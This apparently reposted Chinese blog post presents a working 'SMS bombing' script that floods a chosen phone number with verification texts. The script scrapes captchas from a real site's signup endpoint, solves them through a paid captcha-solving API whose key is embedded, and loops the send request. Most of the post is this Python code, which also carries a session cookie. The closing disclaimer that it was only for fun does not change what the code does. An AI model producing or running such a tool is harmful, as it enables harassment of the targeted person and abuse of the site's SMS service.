本文主要是介绍无聊做了个发骚扰短信的,结果。。。,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
刷小视频,发现有人利用验证码平台发骚扰短信,还挺厉害,然后我就打开了网页去试试。
其实技术不难,主要就是post提交表单然后发送手机验证码进行骚扰。
这个就是点验证码得到的信息,所以我们能通过这个得到key和验证码图片。
通过这个我们可以把验证码保存,然后每次看着图片输入验证码,这样进行一次次的发骚扰短信
但是这样也太麻烦了吧,完全是弱智行为。所以我想能不能让验证码能自动识别,首先想到的是pytesseract,但是试验了一下发现识别效果太差,十次没有一次能成功发送的。然后再去试试自动识别验证码的网站,再来试。
这个网站识别的主要借鉴了这个博客
然后刚刚试了一下,十次能成功好几次
代码
这部分我把我之前用pytesseract写的部分也保留着
import requests
import json
import pytesseract
from time import sleep
from collections import defaultdict
from PIL import Image, ImageDraw
import sys, os
import base64# tessdata_dir_config = '--tessdata-dir "c:/Program Files (x86)/Tesseract-OCR/tessdata"'
#
# # 获取图片中像素点数量最多的像素
# def get_threshold(image):
# pixel_dict = defaultdict(int)
#
# # 像素及该像素出现次数的字典
# rows, cols = image.size
# for i in range(rows):
# for j in range(cols):
# pixel = image.getpixel((i, j))
# pixel_dict[pixel] += 1
#
# count_max = max(pixel_dict.values()) # 获取像素出现出多的次数
# pixel_dict_reverse = {v:k for k,v in pixel_dict.items()}
# threshold = pixel_dict_reverse[count_max] # 获取出现次数最多的像素点
#
# return threshold
#
# # 按照阈值进行二值化处理
# # threshold: 像素阈值
# def get_bin_table(threshold):
# # 获取灰度转二值的映射table
# table = []
# for i in range(256):
# rate = 0.1 # 在threshold的适当范围内进行处理
# if threshold*(1-rate)<= i <= threshold*(1+rate):
# table.append(1)
# else:
# table.append(0)
# return table
#
# # 去掉二值化处理后的图片中的噪声点
# def cut_noise(image):
#
# rows, cols = image.size # 图片的宽度和高度
# change_pos = [] # 记录噪声点位置
#
# # 遍历图片中的每个点,除掉边缘
# for i in range(1, rows-1):
# for j in range(1, cols-1):
# # pixel_set用来记录该店附近的黑色像素的数量
# pixel_set = []
# # 取该点的邻域为以该点为中心的九宫格
# for m in range(i-1, i+2):
# for n in range(j-1, j+2):
# if image.getpixel((m, n)) != 1: # 1为白色,0位黑色
# pixel_set.append(image.getpixel((m, n)))
#
# # 如果该位置的九宫内的黑色数量小于等于4,则判断为噪声
# if len(pixel_set) <= 4:
# change_pos.append((i,j))
#
# # 对相应位置进行像素修改,将噪声处的像素置为1(白色)
# for pos in change_pos:
# image.putpixel(pos, 1)
#
# return image # 返回修改后的图片
#
# # 识别图片中的数字加字母
# # 传入参数为图片路径,返回结果为:识别结果
# def OCR_lmj(img_path):
# image = Image.open(img_path) # 打开图片文件
# imgry = image.convert('L') # 转化为灰度图
# width=imgry.size[0]*4
# length=imgry.size[1]*4
# image = image.resize((width, length), Image.ANTIALIAS)
# imgry=imgry.resize((width,length),Image.ANTIALIAS)
# #image.show()
# #imgry.show()
# # 获取图片中的出现次数最多的像素,即为该图片的背景
# max_pixel = get_threshold(imgry)
#
# # 将图片进行二值化处理
# # 注意,是否使用二值化要看具体情况,有些图片二值化之后,可能关键信息会丢失,反而识别不出来
# table = get_bin_table(threshold=70)
# out = imgry.point(table, '1')
#
# # 去掉图片中的噪声(孤立点)
# out = cut_noise(out)
#
# #保存图片
# out.save('./变换后验证码.jpg')
#
# # 仅识别图片中的数字
# #text = pytesseract.image_to_string(out, config='digits')
# # 识别图片中的数字和字母
# text = pytesseract.image_to_string(out,config='--psm 7')
#
# # 去掉识别结果中的特殊字符
# exclude_char_list = ' .:\\|\'\"?![],()~@#$%^&*_+-={};<>/¥'
# text = ''.join([x for x in text if x not in exclude_char_list])
# #print(text)
# return text# 识别验证码
def verify_code(base64_str):appkey = "d33906c525ed719b751c1b40f953816c"verify_code_juhe_url = "http://op.juhe.cn/vercode/index"print("开始上传云打码")url = verify_code_juhe_urlparams = {"key": appkey,"codeType": "1004","base64Str": base64_str,"dtype": "json"}try:res = requests.post(url=url, params=params, timeout=60)res = json.loads(res.text)except Exception:print("上传云打码失败!!!")else:print("上传云打码成功!!!")return res['result']def get_params():response=requests.get("http://www.demlution.com/dapi/verification_code/get_captcha",headers=headers)res=list(eval(response.text).values())key=res[0]img=res[1]return key,imgdef get_image(img):bs=''html = requests.get("http://www.demlution.com"+img, headers=headers)if html.status_code == 200:bs = base64.b64encode(html.content)with open( "./%s.jpg" %("验证码"), "wb") as f:f.write(html.content)f.close()return bsdef send(code,mykey):#ensure_ascii=Falser=requests.post('http://www.demlution.com/dapi/verification_code/send_demlution_signup_code',data=json.dumps({"mobile":tel_num,"challenge":code,"key":mykey,"type": "signup"}),headers=headers)print(r.text)def main():mykey, img = get_params()mykey = str(mykey)print(mykey)bs=get_image(img)code=verify_code(bs)code=str(code).upper()print(code)sleep(2)send(code,mykey)if __name__ == '__main__':tessdata_dir_config = '--tessdata-dir "c://Program Files (x86)//Tesseract-OCR//tessdata"'headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36','Cookie': 'da_a=f3d3831b018a4f5ebf27d8f746332044','Referer': 'http://www.demlution.com/'}tel_num = input("请输入要轰炸的手机号码:")for i in range(5):main()
结果:
当我运行之后,我就完蛋了。正好碰到我的测试用户今天很生气,然后如下图
重点:这个只是做着玩一下的,别真的去骚扰谁,后果我可不负责,不说了我要赶紧去道歉了
这篇关于无聊做了个发骚扰短信的,结果。。。的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!